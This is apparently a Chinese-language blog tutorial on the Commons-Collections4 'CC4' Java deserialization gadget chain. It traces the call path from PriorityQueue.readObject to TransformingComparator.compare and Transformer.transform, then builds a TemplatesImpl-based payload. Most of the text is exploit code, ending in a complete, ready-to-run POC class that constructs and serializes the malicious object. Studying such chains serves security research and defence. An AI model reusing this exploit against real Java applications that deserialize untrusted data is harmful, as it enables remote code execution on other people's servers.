目录

前言：

0x01 代码分析

总结一下利用链：

POC:

完整的POC：

前言：

CC4这条链用到了新的Commons-Collections4这个依赖，由于这个依赖与之前的版本具有较大的出入，连groupId和artifactId都变了，前者是Commons Collections⽼的版本包，当时版本号是3.2.1；后者是官⽅在2013年推出的4版本，当时版本号是4.0。因此算是更新换代了。

commons-collectionscommons-collections3.2.1

org.apache.commonscommons-collections44.0

        但是在某种程度上还是换汤不换药，链的最后还是用了 Transform 类对象的 transform()方法直接去执行代码，或者是CC3的利用 TemplatesImpl 类去实现类加载执行任意代码。

0x01 代码分析

        由于我们还是在CC库里面去触发反序列化，所以还是找哪里调用了transform()方法，这里找到了 TransformingComparator 类的 compare()方法：

public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);
}

可以看到这里调用了传入的 transformer对象的 transform()方法，然后往回找哪里调compare()方法，且最好是而直接就是重写了 readObject()方法，能够直接走到compare()方法。最终找到的是 java.util.PriorityQueue 优先队列这个类：

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();queue = new Object[size];// Read in all elements.for (int i = 0; i < size; i++)queue[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();
}

• 可以看到，PriorityQueue 类的 readObject()方法最后调用了 heapify()方法，跟进：

private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);
}

• 这里接着调用 siftDown()方法，跟进：

private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);
}

• 接着调用了 siftDownUsingComparator()方法，跟进：

private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size &&comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;
}

到了这里可以看到调用了comparator对象的 compare()方法，并且这里的comparator可以在PriorityQueue 类对象初始化的时候传进去的，因此我们可控，而TransformingComparator类恰恰是实现了Comparator和Serializable接口（而在旧的Commons-Collections包中TransformingComparator类没有实现Serializable接口，导致无法使用这条链），能够作为我们利用的对象。

总结一下利用链：

PriorityQueue.readObject() --> PriorityQueue.heapify() --> PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() --> Transformer.transform()

• 后面的部分就是CC1或CC3的写法了，这里以CC3为例，先把TemplatesImpl类对象构造好：

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

• 以及用 InstantiateTransformer类将TrAXFilter初始化，调 TemplatesImpl.newTransformer()方法，触发后续的调用：

Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templates })
};Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(fakeTransformers);

POC:

• 创建⼀个 TransformingComparator ，传⼊我们的Transformer：

Comparator comparator = new TransformingComparator(transformerChain);

• 实例化 PriorityQueue 对象，第⼀个参数是初始化时的⼤⼩，⾄少需要2个元素才会触发排序和⽐较，所以是2；第⼆个参数是比较时的Comparator，传⼊前⾯实例化的comparator：

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去，这⾥可以传⼊⾮null的任意对象，因为我们的Transformer是忽略传⼊参数的。

        最后，将真正的恶意Transformer设置上：

setFieldValue(transformerChain, "iTransformers", transformers);

完整的POC：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CC4 {public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fileNmae);field.setAccessible(true);field.set(obj,value);}public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][] {ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templates })};ChainedTransformer chainedTransformer = new ChainedTransformer<>(fakeTransformers);TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(2);setFieldValue(chainedTransformer, "iTransformers", transformers);serialize(priorityQueue);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));Object obj = ois.readObject();return obj;}
}